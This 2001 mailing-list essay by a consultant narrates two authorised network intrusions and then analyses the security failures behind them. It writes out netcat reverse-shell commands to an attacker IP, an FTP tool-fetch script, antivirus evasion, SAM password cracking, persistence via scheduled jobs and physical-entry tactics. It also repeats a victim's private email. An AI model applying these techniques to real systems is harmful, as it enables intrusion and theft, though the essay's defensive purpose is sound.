Autopsy of a successful intrusion (well, two actually)

From: Floydman (
Date: 08/30/01

Message-ID: <>
Date: Thu, 30 Aug 2001 12:18:48 -0400 (EDT)
From: Floydman <>
Subject: Autopsy of a successful intrusion (well, two actually)

Autopsy of a successful intrusion (well, two actually)
By Floydman
Computer Security consultant, Bachelor in Computer
Sciences and amateur researcher
August 30th, 2001

You can distribute this document freely, as long as no
changes are made to the file, or as long as credit for
it is not pretended by someone else. All comments and
suggestions about the material presented here should
be directed at If future
versions of this document include add-ons coming from
other people than me, then proper credit to the
various authors will be clearly identified. All
version updates of this document are to be released by

You can find it online at


This paper consists of the recollection and analysis
of two network intrusion that I have performed as part
of my duties as a computer security consultant. The
name of the company I worked, as well as their
customers that I hacked into, will remain anonymous
for obvious reasons. The goal of this paper is to
show real life cases of what computer security looks
like in the wild, in corporate environments. I will
try to outline the principal reasons why these
intrusions were successful, and why this kind of
performance could be achieved by almost anybody,
putting whole networks at risks that their owner don't
even begin to realize yet.


It's been over a year now that I delved into computer
security. Before that, I was doing computer support
and server admin on various platforms: DOS, OS/2,
Novell, Windows. I have always been kind of a hack,
but I never realized it until I had enough free time
ahead of me to start studying the hacking scene and
the computer security industry more in depth. That is
how I started writing whitepapers, and that I was
eventually invited to a conference to present some of
my work. But I didn't want to have problems with the
law, and I was short on ressources (money, boxes,
bandwidth), so I limited myself to keeping tracks of
new vulnerabilities and understanding how they worked
without actually having the opportunity to try them on
a real machine. So when I got this job and they asked
me to try to hack these networks, I was really anxious
at what I could really do. After all, I can't be
worse than a script kiddie, can I?

Targeted audience

This document is presented to anyone who has interests
in computer security, network intrusion, hacking,
viruses and Trojan horses, network administration and
computing in general.

Table of contents

1. Introduction
2. Technical background of the hack
3. The first victim
4. The second victim
5. The autopsy of the two hacks
6. Conclusion
Appendix A. Ressources

1. Introduction

What I am about to describe here is the complete story
of two successful network intrusion, where we (quickly
and rather easily) had complete access to everything.
These two networks are the same kind of networks that
get infected all the time with I Love You, Melissa,
Anna.Kournikova, Sircam only to name a few. The
people who runs these networks, and the people who own
them, can't keep ahead with plain viruses (for another
sample of this, read "Virus protection in a Microsoft
Windows network, or How to stand a chance"), let alone
with a dedicated intruder that will hopefully be smart
enough to hide his tracks (but even that his not even
to be a requirement soon if it keeps up like that, as
we'll see later). And these are networks owned by
(apparently) respected big corporations, and were
equiped with firewalls and antivirus software. And
they still wonder why e-commerce never lifted up to

2. Technical background of the hack

Both networks were based on Microsoft systems, which
is not that surprising since it is the most (and by
far) used platform in corporate environments,
especially on the desktop area. Both intrusions were
made over the Internet with tools freely available on
the Internet. They used vulnerabilities that were
known for quite a long time, and we sometimes had to
use a bit of imagination to do the rest. If you are a
Windows NT/2000 admin, what you are about to read
should scare you to hell. If you are a malicious
hacker that does this kind of thing for a living of
just plain fun, you probably know all this stuff
already. But you'll probably still want to read on to
have a good laugh.

Both intrusions followed the same methodology, similar
to those of a typical intrusion, which is gathering of
information, analysis of the information, research of
vulnerabilities, and implementation of the attack (we
didn't have time to test on one of our machines, but
that didn't matter), repeat. Both attacks were done
from our facilities using our dedicated ADSL line over
the Internet. One of the intrusion involved going
undercover physically onsite at the customer premises
to plant a wireless hub on the network. A laptop
equipped with a wireless network card was also used to
link with the hub momentarilly, to avoid detection.

Some of the tools used were:

SuperScan : to scan classes of IP address to determine
open ports
CyberKit : this tool lets you do IP infomation
gathering (DNS lookups, traceroute, whois, finger)
nc.exe : NetCat, ported to Win32. This program lets
you initiate telnet connections on any port you want
hk.exe : program that exploit a vulnerability in the
Win32 API (LPC, Local Procedure Call) that can be used
to get System Level access
net commands : these should be known to all NT admins
(net view, net share, net use, etc)
a hex editor : these programs let you edit binary
files in hexadecimal/ascii format, a bit similar to
notepad for text files
l0phtcrack : this software lets you crack the NT
passwords file : this script will scan webservers for
known vulnerabilities, along with instructions on how
to expoit them
EditPad Classic : this is a Notepad Deluxe, where we
gather the information collected during the hack
and other tools that I forgot that were part of the NT
Ressource kit or that I will mention later in the

Sugar input was provided with a supply of M&Ms and
coke (the drink, not the sniff).

3. The first victim

Pseudonym : XYZ Media Publishing Corporation
Type of company : Big Media Corporation (TV, radio,
newspapers, magazines, record company, don't they all
do that nowadays?)
Time allowed to hack : 3 man/days
Goal : penetrate the network as far as possible and
get evidence of intrusion

So I start with the beginning, making DNS lookups on
their IP classes, whois requests and port scan the IP
addresses of the company's main website as well as the
subsidiaries websites. It turns out that there are
over 140 machines publicly exposed to the Internet
(web servers, DNS, mail, B2B), mostly Windows NT
machines, with a couple *nix in the lot. A quick
header scan of the web servers show effectively a mix
of IIS 3.0 and 4.0. Now, the problem is to figure out
where to start. Let's start with the obvious, the
main website (NT 4.0 IIS 4.0). A quick check at the
Bugtraq archive at SecurityFocus shows me that the
"Directory traversal using Unicode vulnerability" is
still quite popular (especially by script kiddies who
uses it to perform website defacements), even if it's
been out for about a year already. Especially since
there is a new variation every couple of weeks or so.
So I fire up my specially crafted hacking tool, MS
Internet Explorer (sarcasm directed at medias covering
hacking incidents). Basically, if you know how to
browse the web, you know how to hack a IIS server.

The directory traversal vulnerability works by fooling
the web server to give you content located outside of
the web directory that it is supposed to be limited
to. By default (which must cover anything between
50%-90% of the installed base), the content served by
the server is located at C:\Inetpub\wwwroot. So,
instead of requesting the document (that correspond
physically on the server to the file
C:\Inetpub\wwwroot\index.html), you request something
like, which
will request the file C:\index.html. Of course,
index.html doesn't exist on C:\, but that doesn't
matter, since from there you can request any file that
you know the location of, based on a default install.
Things that come to mind is the cmd.exe program, that
you can use to issue commands on the web server as if
you were sitting there and typing in a DOS box. I
have to say at this point that the vulnerability
doesn't work like I said, but that was a simple
explanation of how it acctually work. To exploit
this, you need rights to execute code,and you have to
change the /../.. with the Unicode equivalent. So
instead of requesting cmd.exe from C:\Inetpub\wwwroot,
we'll do it from C:\Inetpub\wwwroot\scripts, which
then requires another layer of /.. . As for Unicode,
let's just say that it is simply a computer code a bit
similar to the ASCII code that Windows NT uses. We
use it to translate some of the ../, because IIS will
filter your request out otherwise. So, if I want to
do a "dir c: /s" command on the server, that means
that I have to request
/scripts/../../../winnt/system32/command/cmd.exe with
dir c: /s as a parameter. We launch this command by
typing the following in your browser and pressing

Notice that + replaces the [Space] character in your
commands, and ?/c+ is required to pass parameters to
cmd.exe. %1c%pc is the Unicode equivalent to /..
(other equivalents may work, see the Bugtraq entry
about this vulnerability for more details). So now we
have in our browser window a complete listing of all
files present on the C: drive of the server. We can
do the same thing for the D: drive, to see if it's
present, and if it is, do it for the E: drive, and so
on. The idea is to gather up as much information
about the machine as we can get. At this point, we
know enough to see what software runs on the machine,
where the data is located. Notice that at this point,
we could start to issue ping commands or net commands
to try to map to any internal network the server may
be talking to, but issuing these commands with the web
browser is not really convenient. So we're going to
get a real command prompt.

First, I set up a FTP server (no anonymous access, of
course) on my laptop and put my tools in the main FTP
folder. Namely, I put nc.exe and hk.exe and a couple
from the ressource kit. Then I use the FTP utility
conviniently waiting where I expect it to be for me to
initate a connection to my laptop and fetch my tools.
Since the FTP program is interactive and that I can
only issue commands via the web server, I have to make
a FTP script on the server. To do this, I simply
issue echo commands redirected to a text file, using
the directory traversal vulnerability.>>ftp.txt>>ftp.txt>>ftp.txt>>ftp.txt>>ftp.txt*.exe>>ftp.txt>>ftp.txt

I check out my script with my web browser one last
time to make sure there I made no mistake, and then I
launch the FTP session, assuming that the firewall
permits this kind of traffic. And it does.

Once this is done, I will use netcat to have a command
prompt on the webserver. Netcat is a very useful
networking tool that you can use to communicate via
any port, and spawn a shell prompt. nc -h will give
you these options:

C:\nc11nt>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s]
[ports] ...
listen for inbound: nc -l -p port [options]
[hostname] [port]
        -d detach from console, stealth

        -e prog inbound program to exec
        -g gateway source-routing hop point[s],
up to 8
        -G num source-routing pointer: 4, 8,
12, ...
        -h this cruft
        -i secs delay interval for lines sent,
ports scanned
        -l listen mode, for inbound
        -L listen harder, re-listen on
socket close
        -n numeric-only IP addresses, no
        -o file hex dump of traffic
        -p port local port number
        -r randomize local and remote
        -s addr local source address
        -t answer TELNET negotiation
        -u UDP mode
        -v verbose [use twice to be more
        -w secs timeout for connects and final
net reads
        -z zero-I/O mode [used for
port numbers can be individual or ranges: m-n

So I will launch netcat in listening mode on port 53
(also used by DNS, allowed by the firewall) on my
laptop, and launch a netcat connection bound to a
command prompt from the webserver to my laptop (using
the brwoser once again).

In my DOS box
nc -l -p 53
and it hangs there...

And the hung DOS box gets:

Microsoft(R) Windows NT(TM)
   (C)Copyright 1985-1996 Microsoft Corp.


Voilà, I have a prompt. I use the whoami command from
the NT Ressource kit, to find out with disappointment
that I am only INET_IUSR/Anonymous, the anonymous
Internet user account. So the web server doesn't run
on the Administrator account. That means that I still
can't reach the NT password file (also called the SAM
database) because of the restricted access. No
problem, I think, I'll just initiate another telnet
connection using another port (23 Telnet, why not?) by
using the hk.exe tool. This tool uses a vulnerability
involving an undocumented API call
(NT_Impersonate_thread or something like that) that
lets a thread (a part of a process running in memory)
get the token (a security attribute that defines what
security level a thread can run, user space or kernel
space) of a kernel thread (LSASS or equivalent). To
use this tool, you simply type hk followed by any
command you would want to run if you had NT
AUTHORITY/SYSTEM level privileges (this is above the
Administrator account privileges). So I type

hk nc -d -e cmd.exe my.IP.address.ADSL 23
Bad command or file name

What the?!? I make a dir command, and true enough I
don't see any file named hk.exe. Did I forget to
download it before? I make another FTP download
(using the script again because interactive FTP
sessions over a netcat connection doesn't work too
well), and sure enough I see the file being downloaded
from my laptop. I make a dir command again, and the
file still isn't there. So I go to C:\ and make a dir
hk.exe /s, and what do you know? It's in the
C:\Program Files\Antivyrtec
Associates\Antivirus\Quarantine\ folder. Damn, the
stupid antivirus caught my file. How can I get root
without it?

Most antivirus products work by matching byte streams
of known viruses and other malware to the programs and
files your computer uses. If a match is found, then
the file is most probably of dangerous nature, and the
antivirus prevents the user from opening it.
Ploymorphic viruses uses a flaw in this strategy by
modifying themselves every time, making it difficult
to identify a reliable byte stream in the virus code
that can be used to clearly identify it. Can I also
use this flaw to my advantadge? Of course. Actually,
that day, I have lost a lot of respect towards
antivirus products seeing how easily it was to
circumvent it.

Using a hex editor (I don't remember which one, but
ther all do pretty much the same), I opened hk.exe.
What I now see is all the binary code of the
executable, shown in an hexadecimal representation.
On the right hand side, we see an ASCII representation
of each byte of code. Since this is compiled code, it
is pretty hard to modify anything in there without
screwing up the program and making it useless.
Especially since we don't know what bit pattern the
antivirus software looks for, and that I know nothing
in reverse-engineering. The only thing editable in
the program is a small section where we can actually
read the message displayed by hk.exe when it
successfully executes (something like "Your wish is my
command, master"). What the heck, let's change that
and see what happens. So I replace the string with
XXXX XXXX XX XX XXXXXXXX XXXXXX, and rename the file
hk2.exe (which is why I don't remember the exact
string, now I only care to use hk2.exe). A quick FTP
download later, and I make a dir command to see if
it's detected. The file is waiting there where I put
it, undetected from the antivirus product. I was
ashamed of that antivirus company, that will remain
nameless. In the marketing hype, they all state that
they scan for streams of bytes in the files it
scanned, but it turns out that they actually scan for
streams of TEXT. That was a big desilusion for me. I
think I can write a better virus scanner in Perl than
the big behemoths of software antivirus are these

So anyway, I open another DOS box on my machine and I
initiate a new listening connection on my laptop

nc -l -p 23

and I type the command

hk2 nc -d -e cmd.exe my.IP.address.ADSL 23
on the active netcat on the webserver and we get:

hk2 nc -d -e cmd.exe my.IP.address.ADSL 23

lsass pid & tid are: 50 - 53

Launching line was: nc -d -e cmd.exe
my.IP.address.ADSL 23

XXXXXXNtImpersonateClientOfPort suceeded

(On the listening DOS box)
Microsoft(R) Windows NT(TM)
   (C)Copyright 1985-1996 Microsoft Corp.



At this point, I see no reason to keep the first
netcat connection, so I kill it. I am now in complete
control of the web server and I can do whatever I want
on it. I start to upload the SAM database on my
laptop and I start cracking it with l0phtcrack, using
a dictionnary attack first, then a brute force attack
to uncover the few passwords left, if any. While the
passwords cracks, I continue my investigations of my
newly owned machine. I issue the ipconfig command,
and I see the IP addresses of the two network
interface cards installed on the machine. The IP
address on one of the NIC is effectively the public IP
of the web server. The other one bears an internal IP
address, and a few pings and net commands later, I
have a complete list of the NT Domains, PDC, BDC,
Servers. I could talk to the whole internal network!
Using some of the usernames/passwords that I cracked,
I could go in any domain and from there connect to any
workstation. With net accounts, I saw some
administrative accounts that I have guessed the
password (backup/backup, admin/admin, test/1234 for
example). Seeing my progress, a colleague offered to
try to get inside from the website of a subsidairy,
while I continue my exploration via the main one.
Using the same techniques described above, he got
inside the internal network of the branch. But from
where I was, I could tell that I had access to his
part of the network, but also to the other
subsidiaries, while he would have to go up to where I
was before reaching to others. So we ended there the
second intrusion right there as we were already in the
City of Gold.

As I hopped from one workstation to another, from
server to server, I kept making dir c: and dir d:
images, downloaded files in various interesting
folders (marketing, HR, finance, IT, production,
contracts, budget, etc), along with a couple Outlook
mailboxes, which tells me that I could probably use
the flaws in this software to send a custom virus to
take control of a machine, but why bother? I already
had access to everything: network maps, list of
software approved by IT, standard configuration of a
desktop, resumes from applicants, budget of last and
current year of various departments, production status
reports, finance reports, company acquisition plans
and contracts, full employee lists, with phone number,
e-mails and salaries, layoff severance documents, full
calendar appointments of some management people, along
with their mailboxes, which also showed up some
interesting things. I will always remember this
e-mail I read that the guy I hacked into received from
one of his friends. In the e-mail, the friend tells
to my victim all the good times he had while on
vacation in Spain, and how he loved doing that
venezuelian prostitute who apparently had tits to
remember for a lifetime. And in the next paragraph,
he invites my victim to his own wedding in the
upcoming months, with his girlfriend that he
apparently loves very very much. Sometimes, human
nature makes me wonder...

We were about to run out of time, since my three days
were almost run out. Let's not forget that I had to
write a report after that, and that the customer only
paid for such amount of time. But there was still a
little piece of the network that I couldn't get access
to. It was refusing any connection attempt from any
domain that I already had control of. That was a
separate NT domain, on its own IP class C network,
with very restricted access, probably accessed only by
the board of directors if I rely on the domain name.
No password that proved useful before would work. A
port scan showed me that there was a web server on
this network, and I knew it was a NT server, and most
probably running IIS 4 as well. But how can I launch
a web request from a DOS prompt in order to hack the
server like I did the first one? I could probably
make a tool someday, but I definetely don't have this
kind of time on my hands right now. I see the gold, I
want the gold (even though I have plenty already), and
I am willing to take a big risk of being discovered in
reason of the time of the day (around 10:00 AM) to get
it. I will initiate a Winvnc connection.

Winvnc works a bit like nc, but instead of giving a
simple command prompt, it give full access to the
graphical user interface (GUI) as if you were sitting
in front of the machine, the same way as PCAnywhere
does. This have the side effect that a person sitting
in front of the machine will see all your actions,
which means that you have been spotted.

In my case, I had nothing to lose, so the plan is to
download Winvmc on the machine I currently own,
initiate the GUI connection from there, and then use
the browser installed on the web server to launch a
similar attack to the intranet server using the
directory traversal vulnerability. From there, I hope
to be able to find some usernames and passwords that I
can use to gain access to the protected machines in
the same fashion as to what I had done so far. So I
initiate the Winvnc session, and surprise, I see right
in the middle of the screen two pop-up warnings from
the antivirus software, generated from the two
unsuccessful downloads of hk.exe, 2 days ago. So I
click OK to remove any visual evidence of my presence,
and I proceed to clean my presence a bit, deleting all
the stuff that I won't need anymore. I also notice
some of the NT Res kit that I used in another folder
that was not mine. That made me wonder if it was the
admin who conveniently installed it there for anyone
to use, of if it was the belonging of another
intruder. Who knows?

I was about to launch IE in order to finish my attack
quickly and return to the stealthier DOS command
prompt that a second surprise happens: Notepad opens
up with a message saying "who r u?". I knew I could
be spotted, and I have been spotted. The spelling of
the message makes me wonder if I am dealing with a IT
professional or a script kiddie here, but a quick look
at the processes running on the machine (ps.exe from
the NT Res Kit) shows me that he is connected via a
PCAnywhere session, so it's probably a tech support,
but he's not in front of the machine. So I write
"God" in the notepad message, give him about 5 seconds
to read my reply, and then I kill his connection
(kill.exe). Then I quickly erased the rest of my
files on the machine, and killed my session while I
was laughing hard with a colleague beside me.

Too bad that I missed that last vault, and that I have
been spotted, but if I wasn't only a guy doing his
job, working 9-5 because I also have a life, and under
an artificial schedule, I would have cracked it,
undetected. A dedicated corporate spy or malicious
hacker would have done this at night, and would have
been completely undetected for as long as he wants.

4. The second victim

Pseudonym : Trust-us e-commerce inc.
Type of company : e-commerce company, implements B2B
and B2C solutions for businesses
Time allowed to hack : 3 man/days
Goal : penetrate the network as far as possible and
get evidence of intrusion

So my first impression of a big corporate network
(from my previous work experience at a
telecommunications company, see Virus protection in a
Microsoft Windows network, or How to stand a chance)
from the security point of view proved to be true with
my successful and easy network intrusion I had done
for XYZ Media Publishing Corporation. I was anxious
to see how I would fare against an e-commerce company.
 I was curious to see if they really cared about
security, given their area of expertise.

So the hack started pretty much the same way as the
first one: DNS lookups, whois, portscan, etc. It
turns out that there's about 5 or 6 machines reachable
via the Internet. 2 *nix DNS servers, 1 Exchange mail
server, and a couple IIS machines. These machines are
all firewalled and only allow very specific traffic :
http, https, DNS, SMTP. But remember that if one of
these services is vulnerable, it can be exploited and
the firewall won't be effective at blocking the
attack. I issue a whisker scan on the webservers to
see if there's any known vulnerabilities on the web
server itself, and in the cgi programs as well. The
machines turns out to be pretty secure, even if they
are NT boxes. The server appears to be patched up to
date, and non-necessary services have been removed
from IIS (such as idq requests, asp pages, default
sample pages). So I can't use the directory traversal
vulnerability on this one. I try to screw up with
some invalid requests in the cgi programs, trying to
see if I can provoke any unnexpected results that
could give me a hint. I also try to log on the
customer login page, trying to see if there's any test
accounts left. Nothing goes. As far as what was
known at the moment, these machines were unbreakable
considering the timeframe I had and the knowledge
available to me (I don't know UNIX, and didn't have
the time to learn it and crack the *NIX boxes, who was
probably tight anyway). So we had to take another

We had received some new toys a couple of weeks
before, and we couldn't wait to try them in the field.
 We had a wireless hub and a pair of PCMCIA wireless
network cards. I don't know how much this equipment
costs, but it shouldn't run above 2-3 k$, probably
less. Not exactly cheap, but not unnafordable to
individuals. So we decided to attempt a physical
intrusion in their offices and plant the wireless hub
on their internal network and see what happens next.
We were three persons to do this operation, but it
could have been achieved by only a single person.

We thought a bit about doing a masquerade and pretend
that we were from the phone company or something, all
along with the uniforms and even a line tester that
makes bip-bip sounds that are sure to convince any
non-technical person unfamiliar to this kind of
equipment. We even had the floor plan, that my boss
asked to the facilities management guy (those who
manage building services). He gave the plans to my
boss without asking any ID or whatever, my boss simply
told him that he was working for Trut-us e-commerce
inc, and that was it! My boss was even left alone in
the facilities guy office for about half an hour, even
time to give him the opportunity to take a peek or
two, or steal one of the uniforms hanging by the door
if he wanted to.

But instead, we chose a simpler course; simply walk in
dressed casual (average employee age at Trus-ut is
about 25-30) and pretend to belong there. The company
is quite new, and they are hiring new staff, so it's
quite normal for a place like this to see new faces.
So the plan was to have one person walk in the
offices, avoiding the main entrance of the offices if
possible, to avoid the receptionist desk, and put the
wireless hub on the network, in a free LAN jack in the
photocopier room (as we could see from the floor
plan). And to collect any valuable data the onsite
visit can provide. In the meantime, another colleague
would be sitting in a toilet stall with his laptop
equipped with the wireless network card and try to get
access to the network. If he proved successful, he
would iniate a netcat connection from one of their
machines to my laptop, and then leave the premises.
As for me, I will be at our offices, hooked up on the
ADSL link, and waiting for the netcat connection to
come to me. Once I get the connection, the first
thing I will do is to make scheduled jobs that will
re-initiate a new netcat connection, in case my
current connection drops for any reason. That way, we
won't have to go back on site just to get a new

And that's exactly what happened! My first colleague
got in from the door beside the staircases, going
inside with other people that were coming back from a
cigarette break. He went to the photocopier room, and
plugged the wireless hub to the network, and hid it
behind some boxes. After that, he walked across in
the offices, a lot of cubicles being empty, as the
company had plans for growth. He said "Hi!" to a
couple of persons who were having a conversation. He
found an employee list on a desk, with all the phone
numbers and positions in the company. He went back to
the photocopier room, and made a copy. He also looked
for other stuff, but it was hard to figure out what
paper documents are about without looking suspicious.
So after half an hour, he simply took the hub back
with him and left the premises.

Meanwhile, colleague #2 is in the bathroom stall with
his laptop. He waits about 5 minutes to give #1
enough time to plant the bug. Then he boots up his
machine and he automatically gets an IP address from
the internal network DHCP server. That's a good
start! It takes him no time to take control of an
internal web server to launch the netcat connection to
me (with full SYSTEM/NT_AUTHORITY privileges, of
course). While I put my scheduled jobs on this
machine to keep a point of entry, he goes on an
exploration tour of the rest of the network, stops in
a couple workstations to download some files, and
leaves after 15 minutes, after making sure with me
that everything was under control on my side (using a
text file to send messages to each other).

As for me, I started doing the usual stuff,
downloading the server's SAM file, cracking it,
exploring the contents of some workstations, visiting
the servers and the PDC/BDC getting these SAMs also.
I downloaded some of their website source code, looked
a test systems, and the customer database, etc. I
could see that there were firewalls between some of
the internal network segments, but all netbios ports
were allowed, since these machines were all part of
the same NT domain. I accidentally killed my session,
but it came back to me exactly when I expected it, so
I could continue without any problem. At the end of
the day, our mission was done.

Again, we were three persons to implement this attack,
but this could be done by a single person. We only
had one day left to perform the intrusion, so we had
to be efficient and well prepared. But a single well
prepared person, having no other schedule than his
own, could have easily walked in the offices, plant
the hub on the network, go in the bathroom, schedule
hk2 netcat sessions at specific times, and go home and
simply wait for the connections to initiate. Then he
is free to do all he wants.

5. The autopsy of the two hacks

My goal with this paper is not to give a hacking
cookbook to script kiddies so they can screw up big
corporations real big instead of just defacing their
websites. Neither is it to promote network
intrusions. My goal is to give a reality check to the
IT industry, and to the companies that employ them,
about the situation regarding network security. To
show how easy it is, and the impact on a business a
security incident like this could cause. Having all
the information that is available, a malicious person
have limitations restricted only to his imagination
(BTW, blackmailing is very unimaginative). My goal
with this paper is also to outline why these hacks
were so easily successful, in order to understand why
this could happen in the first place. Only then will
we be able to define corrective actions. So it is in
this chapter that we will make the autopsy of these
hacks, and find out what problems these companies, and
many others, are facing.

In the case of XYZ Media Publishing Corporation, the
problems are numerous, and do not simply involve
technology. First of all, I made a lot of mistakes
when I hacked this machine (the webserver), learning
curve and all... For example, I did not erase the
evidence of my intrusion in the IIS log files. A
kiddie would probably have tought to erase to whole
file, but an experienced intruder would have only
deleted the entries belonging to him, to leave has
little trace as possible. Not that it mattered in
this case, because nobody looked at the log files.
They only checked when they received my report, and
they were astonished at how much noise I made that
went undetected. Worse that that, there was 2 visual
antivirus pop-ups (hk.exe) on the server's screen
showing for 2 days without anybody noticing it, or
actually they saw it, but didn't bother to care about
it! But wait, there's more: the tech that spotted us
while we were in a Winvnc session didn't even bother
to report the incident to anybody! With this kind of
security awareness, then what follows is not hard to
understand. And the medias are still amazed at Code
Red and Sircam type of stuff.

Another problem is the lack of experience of their IT
staff. It is well known that these big corporations,
in order to be cost-efficient (i.e. as cheap as
possible, to keep shareholders happy), centralize
their support to reduce costs, and doing so will hire
those who costs less, who happens to be the less
experienced on the market. I took a good look at the
resumes of their staff, and it tends to confirm my
theory. Most of them didn't even have a college
degree, even less a university degree. They had a
computer support course and a MCSE from a specialized
school, in a word, they were green. These people
knows only as far as what they have been shown, and
will click were they learned to click, without any
understanding of the concepts or implications of what
they have just done. This is a direct effect of the
big boom in the IT industry during the 90's. The
demand was too high compared to the offer, so the
industry had to generate more workforce, and doing so
rushed out of schools diplomed computer illeterates to
take care of the IT infrastructure of the nation's
networks. Many people, having no or little computer
experience, seeing the good salaries in IT decided to
simply make a carreer change. It isn't rare these
days to see someone of worked in a textile shop become
a NT administrator in less than a year! So this
company is plagued by this problem, they couldn't
(wouldn't) retain experienced staff, who would have
enough working experience and knowledge to take the
security aspect in question and raise flags when

This leads to the third problem, directly generated by
the precedent one, which is the presence of unpatched,
highly vulnerable servers on the Internet. And their
problem is about 40-fold, since XYZ Media Publishing
Corporation is really about 40 smaller companies, all
owned by XYZ Media Publishing Corporation, and each of
these companies have the same problem, and all
requires urgent security measures. $$$

The fourth problem, in the same vein, is a really bad
network architecture. XYZ Media Publishing
Corporation cared enough about its network to at least
put firewalls at each internet entry points. All
serious firewall products include the possibility to
have a DMZ, which is a separated part of your network,
designed to receive the public access machines like a
web server or a mail server. The idea is to keep
these machines separated from the rest of your
internal network. Since these servers are exposed to
the Internet, than means that anyone can potentially
compromise the server. The role of the firewall is to
deny all access from the DMZ machines to the internal
network, because these machines cannot be trusted and
a connection initiated from one of these machines
means that the machine as most probably been cracked.
That way, you protect your internal network from
Internet exposure, have your pulic servers, and make
sure that the servers can't be used to access the
internal network. In the case of XYZ Media Publishing
Corporation, the picture was quite different. Both
webservers that we layed our hands on were connected
straight to the internal network. Even better, they
were part of the NT domain architecture, which means
that we could easily probe the PDCs for useful
information about the internal network, and to

The fifth problem afflicted both companies, and is
spread everywhere in the networked corporate world,
and it's the fact that the internal network, and
especially the workstations, are completely
unprotected. Many of the PCs have open shares, not
even protected by a password (which could be broken
anyway, especially on a Win 9x machine). Passwords
are weak and easily broken. ACLs are rarely
implemented on NT workstations, are implemented in the
data portion of the servers (to prevent people to
access other people's files), but not on the system
portion, which means that anyone can grab the passwork
file and crack it later. Antivirus are often out of
date, even if auto-update features are now a common
thing, and even if they were up to date, they can be
easily circumvented. Let's just say that if your only
protection is an antivirus product, then you shouldn't
even bother to install it.

The sixth problem is the one that caught Trust-us
e-commerce inc. pants down. Being an e-commerce
company, they were serious enough about it to take
good care of their systems. The ones exposed to
Internet, that is. So besides having their internal
systems completely open like XYZ Media Publishing
Corporation, their physical security was inexistant.
Beginning with the guy who manages the building who
gives us the floor plans! He even offered to give us
the plan of other floors. Then, it was easy to go
inside the offices without being challenged by anyone,
forcing the intruder to think quick and bullshit his
way out, with the chance that he makes a mistake and
give himself away. The floor had many access doors
besides the main entrance, guarded by the secretary.
There's no badge or ID or anything to differentiate an
employee from an outsider. That was their weak spot.
Ironically, I would say that XYZ Media Publishing
Corporation was more protected in terms of physical
security, but it could still be easy to bullshit his
way inside and plant a bug. Especially since their
network is over several different locations.

Then, there is the little security awareness from
corporations high management. The finance director of
XYZ Media Publishing Corporation was all shocked to
see the results of my intrusion attempt, as he firmly
believed that their network secure. Then, in true
beancounter style, he complained about the amount of
money they paid for the firewalls, that proved to be
useless after all. But this guys only understands
dollars, not technology. Is it possible to achieve a
secure computing environment connected to the Internet
without firewalls? Absolutely no, of course! But are
they sufficient in order to securise the computing
environment only by themselves? The answer is no
again. But he thought that by simply buying an
expensive band-aid, that would solve all their
security problems. Which leads me to the last problem
I can identify in this autopsy.

Pretty much like the IT industry growth of the 90's
and the Y2K rush that later mutated in e-commerce, the
computer security industry is also being the victim of
a "gold rush effect". Since the enormous size of the
vulnerable computing base in corporate IT, it is not
hard to see a high revenue potential for any skilled
business man. It is not rare then to see small
professional security firms being purchased and merged
with bigger IT companies, that were mostly in the MCSE
business before that (what a surprise). Instead of
seeing the knowledge of the security firm being
applied the the MCSE shop's procedures, in order to
increase the value of the services they provide, and
thus doing better than the competition (which should
get you to increase your market share and revenues),
they want to keep the security department from bashing
too much on Microsoft, because they are a business
partner, and it isn't a good thing to bitch against a
partner, because it might piss him off. Also, the
MCSEs didn't appear to like to hear that they were not
as competent as they thought they were, so we had to
quiet down. So, in the process of company growth, the
security firm hires new consultants, fresh out of
school, with no or little previous IT experience, that
they form into certified firewall installers. During
this time, the more experienced security consultant
are asked to keep quiet, failure of which could lead
to demotion, or simply shown out the door. Of course,
some others will not necessarily wait that long before
leaving for greener pastures (where did I see this
pattern before?). This has the effect of lowering the
overall quality of the services provided by this firm,
and will only maintain the present unsecure state of
today's networks. And these people then say that
security consultants don't understand the business
side of a security project.

6. Conclusion

The cases I have covered here are real life cases,
nothing have been added for dramatic effects. I know
that it is not all networks that are this vulnerable,
but let's be serious, secured networks are the
exception, not the norm. The norm, it is what is
explained in this paper. This is even worse than a
worm that walks across webserver to webserver
(although Code Red II made it interesting by
backdooring the servers it infected in order to make
it even easier than what is shown in this paper to
hack the machines) or an e-mail virus that send files
out. These problems are also serious enough to take
care of, but it's only the tip of the iceberg.

Now, with all the desinformation going on, attempt by
companies to shut down free speech concerning computer
security research and related topics, up to the point
of arresting a russian programmer this summer for
writing a "circumvention decice", and all the other
abuses of the DMCA, I wonder what will happen to me
and this paper. Will I be arrested for showing out
how to "circumvent a security mecanism" by fooling the
antivirus? This may seems like a dumb and ridiculous
joke pointed out to the spooks out there, but to tell
you frankly, I see hackers as being the target of the
new witch hunt of the 2000's. It is sad, because they
are the very same people who built this wonderful
network that is Internet, and they are the people who
can most contribute to its securing, by doing research
and sharing information.

But the thing is, and it should be obvious by now to
the reader, that the systems out there are massively
and highly unsecure, and stopping people talking about
these issues, and keeping the public in ignorance by
putting fear into them fueled by mass-medias hysteria
is not gonna help. In order to solve these issues,
priorities will have to be made, and those who choose
the right priorities are probably those who are gonna
win in the long run. In the meantime, anything can

Appendix A. Ressources

Big security site and host of the Bugtraq mailing list

Britney's NT hack guide
Guide to hacking NT and IIS

Rain Forrest Puppy
Home page of Rain Forrest Puppy, discoverer of the
Unicode directory traversal vulnerability, and author
of Whisker

Search engine for security related websites, tools and

Web search engine, useful to look for hard-to-find
stuff like hk.exe

Do You Yahoo!?
Get your free address at

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